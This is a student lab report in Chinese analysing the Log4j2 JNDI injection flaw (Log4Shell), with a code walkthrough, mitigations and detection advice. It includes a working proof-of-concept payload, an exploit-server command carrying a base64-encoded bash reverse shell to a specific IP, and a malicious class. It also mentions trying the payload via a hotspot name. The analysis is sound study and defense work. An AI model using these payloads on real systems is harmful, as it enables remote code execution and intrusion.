实验3 新的网络攻击手段的论述
一、简介
1、研究log4j2系列漏洞
就在前不久,一个系列影响深远的CVE漏洞被公诸于世。可怕的是,它利用简单,影响广大(涉及80%以上的Java系统),甚至一度将危险评分设定为10分(最高为10分)。可能连设计者都没有想到,一个Java日志框架竟有如此之大的影响力。
2、影响范围说明
(1)全球使用log4j2的组件有6910个,前500个组件覆盖了92485个框架;
(2)使用log4j2的组件被框架调用超过1000个有19个,总体数量为数量41503个;
(3)超过1000个框架调用的log4j版本为2.12.1、2.14.1、2.14.0、2.13.3、2.11.1、2.11.0、2.8.2 (以上均为存在漏洞版本),其中log4j 2.12.1版本使用最多 ,有1,458组件调用;
(4)使用log4j2前500的组件有112个未在2021年进行更新,也就是说有112个组件面临没有补丁可用的局面。前20只有一个未在2021年进行更新,最近一次更新时间为2020年7月15日;
3、攻击效果:远程命令执行
(1)POC如下:
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://ip:port/badClassName}");
}
(2)VPS搭建LDAP服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzEzOS4xODAuMTkzLjE2Lzc3NzcgMD4mMQ==}|{base64,-d}|bash" -A "139.180.193.16"
#bash -i > /dev/tcp/139.180.193.16/7777 0>&1
(3)VPS上部署的恶意类
public class badClassName{
public badClassName throws IOException{
//执行打开计算器命令
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
//反弹shell
//Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
}
}
二、攻击原理
利用链的开头与结尾
logger.error-->...-->JndiLookup.lookup
中间部分并不是原理的主要部分,只是为了通过一系列调用,找到JndiLookup的lookup方法,实现任意命令执行。
1、lookup方法为何可以实现任意命令执行
这里就先要简单说明一下JNDI注入
Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景例如动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
所谓的JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。
2、如何远程利用这个任意命令执行
(1)LDAP服务
LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。其特点如下:
- 基于TCP/IP协议
- 分成服务端/客户端;服务端存储数据,客户端与服务端连接进行操作
可以简单了解到,如果在远程开启这样的服务,那么就可以实现加载远程的类文件
(2)LDAP服务开启方式(有工具可以利用)
https://github.com/welk1n/JNDI-Injection-Exploit
三、工作流程
Step 1:环境搭建
实验环境:macOS、IDEA、maven、jdk8
在pom.xml中引入log4j相关依赖包,而后mvn clean install
<properties>
<log4j-api-version>2.14.0</slf4j-api-version>
<log4j-core-version>2.14.0</log4j-core-version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j-api-version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j-core-version}</version>
</dependency>
</dependencies>
书写main.java(即对漏洞的简单实现)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static Logger logger = LogManager.getLogger(Main.class);
public static void main(String[] args) {
//注意如果jdk>8_191 需要手动开启如下服务
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
//我这里使用自己的服务器提供ldap服务,而不在本地是为了更接近真实攻击方式
logger.error("${jndi:ldap://139.180.193.16:1389/otqab5}");
}
}
Step 2:中间流程详述
(1)从logger.error()
层层跟近到log方法
![截屏2022-03-08 上午1.09.29](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.09.29.png)
(2)进入LoggerConfig.log
方法(因为中间有一些不必要的代码,为节省空间,使用代码描述)
@PerformanceSensitive("allocation")
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
// 无需关心的代码
...
try {
// 跟入
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
(3)进入LoggerConfig
另一处重载log
方法,调用appender.control
的callAppender
方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
if (!isFiltered(event)) {
// 跟入
processLogEvent(event, predicate);
}
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
// 关键点
callAppenders(event);
}
logParent(event, predicate);
}
![截屏2022-03-08 上午1.08.12](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.08.12.png)
层层跟入到AppenderControl.tryCallAppender
方法
![截屏2022-03-08 上午1.19.22](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.19.22.png)
![截屏2022-03-08 上午1.20.44](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.20.44.png)
(4)进入AbstractOutputStreamAppender.append
方法,进入到directEncodeEvent
方法
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
关注其中的encode
方法跟入到PatternLayout.encode
方法
![截屏2022-03-08 上午1.23.32](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.23.32.png)
(5)核心点在于toText方法
![截屏2022-03-08 上午1.24.36](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.24.36.png)
![截屏2022-03-08 上午1.25.07](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.25.07.png)
这里的formatters
方法包含了多个formatter
对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter
![截屏2022-03-08 上午1.27.14](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.27.14.png)
跟入看到调用了Converter
相关的方法
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}
不难看出每个formatter
和converter
为了构造日志的每一部分,这里在构造真正的日志信息字符串部分
![截屏2022-03-08 上午1.30.34](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.30.34.png)
(6)跟入MessagePatternConverter.format
方法,看到核心的部分
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 是否以${开头
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName}
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
// 跟入replace方法
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
进入StrSubstitutor.replace
方法后关注StrSubstitutor.subtute
方法,存在递归,逻辑较长
主要作用是递归处理日志输入,转为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
这里是触发漏洞的必要条件
通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info
变量导致这里变成
logger.error("error_message:${jndi:ldap://139.180.193.16:1389/badClassName}");
(7)这里的递归处理成功地让jndi:ldap://139.180.193.16:1389/badClassName
进入resolveVariable
方法,而后调用至lookup
方法
![截屏2022-03-08 上午1.39.04](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.39.04.png)
不难看到this这里对应的元素都是可用的头部
例如可以使用${java:runtime}
${java:version}
等输出系统java的相关信息
![截屏2022-03-08 上午1.40.10](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.40.10.png)
Lookup的最终使用
![截屏2022-03-08 上午1.42.52](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.42.52.png)
触发点在42行,关键代码如下,可与我开头所说呼应
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
四、功能或后果
1、服务器攻击和ls
命令执行
![截屏2022-03-08 上午2.05.44](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午2.05.44.png)
![截屏2022-03-08 上午2.05.25](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午2.05.25.png)
五、防范手段与措施
目前我们可以了解到最关键的利用点在于MessagePatternConverter类,从中方法判断${}
这种情况
![截屏2022-03-08 上午1.27.14](/Users/chenkexin/Library/Application Support/typora-user-images/截屏2022-03-08 上午1.27.14.png)
而如果将其修改为MessagePatternConverter.SimplePatternConverter
类,变成了直接拼接字符串的操作
private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
// 直接拼接字符串
if (msg instanceof StringBuilderFormattable) {
((StringBuilderFormattable) msg).formatTo(toAppendTo);
} else if (msg != null) {
toAppendTo.append(msg.getFormattedMessage());
}
}
}
以下是我查询到的各大安全公司给出的防护意见:【3】
临时性缓解措施:
1、在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
2、系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
3、创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true
4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护
5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下
ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
awvsscan119.autoverify.cn
burpcollaborator.net
s0x.cn
彻底修复漏洞:
建议您在升级前做好数据备份工作,避免出现意外
研发代码修复:升级到官方提供的 log4j-2.15.0-rc2 版本
六、漏洞检测
除了观察自己的版本以外,安全人员提供了一款检测工具【2】
https://pan.cnsre.cn/d/Package/Linux/360log4j2.zip
按如下步骤执行:
- 扫描源码:./log4j-discoverer –src”源码目录”
- 扫描jar包:./log4j-discoverer–jar “jar包文件”
- 扫描系统进程:./log4j-discoverer –scan
打入补丁后 log4j不再处理JNDI逻辑直接将JNDI字符串输出
七、个人总结
当然,后续还有相应的绕过与修复,使得这个系列漏洞成为了2021年的最大话题点。
我在当天发布漏洞时就做了一些尝试,给自己的热点名字设置成攻击payload,然后使用另一台安卓手机去连接,使用dnslog.cn做测试,结果成功执行,如下:
还有我了解到的安全圈里的一些安全人员甚至对支付宝,苹果耳机等做尝试,均攻击成功(当然不是恶意攻击)
总之,这个漏洞一经爆出,各大厂商,高校纷纷抓紧时间升级版本,打补丁。而后续又爆出了内网的一个CVE 导致整套攻击链形成。在2021年末掀起了轩然大波。
我利用这次实验的机会,好好把整个过程缕了一遍,学习了很多Java安全的知识,发现java安全分析的难度很高,今后还需要更多的学习。
参考链接
1、长亭科技:安全运营视角Log4j2 漏洞应急最佳实践https://www.anquanke.com/post/id/263430
2、https://segmentfault.com/a/1190000041107932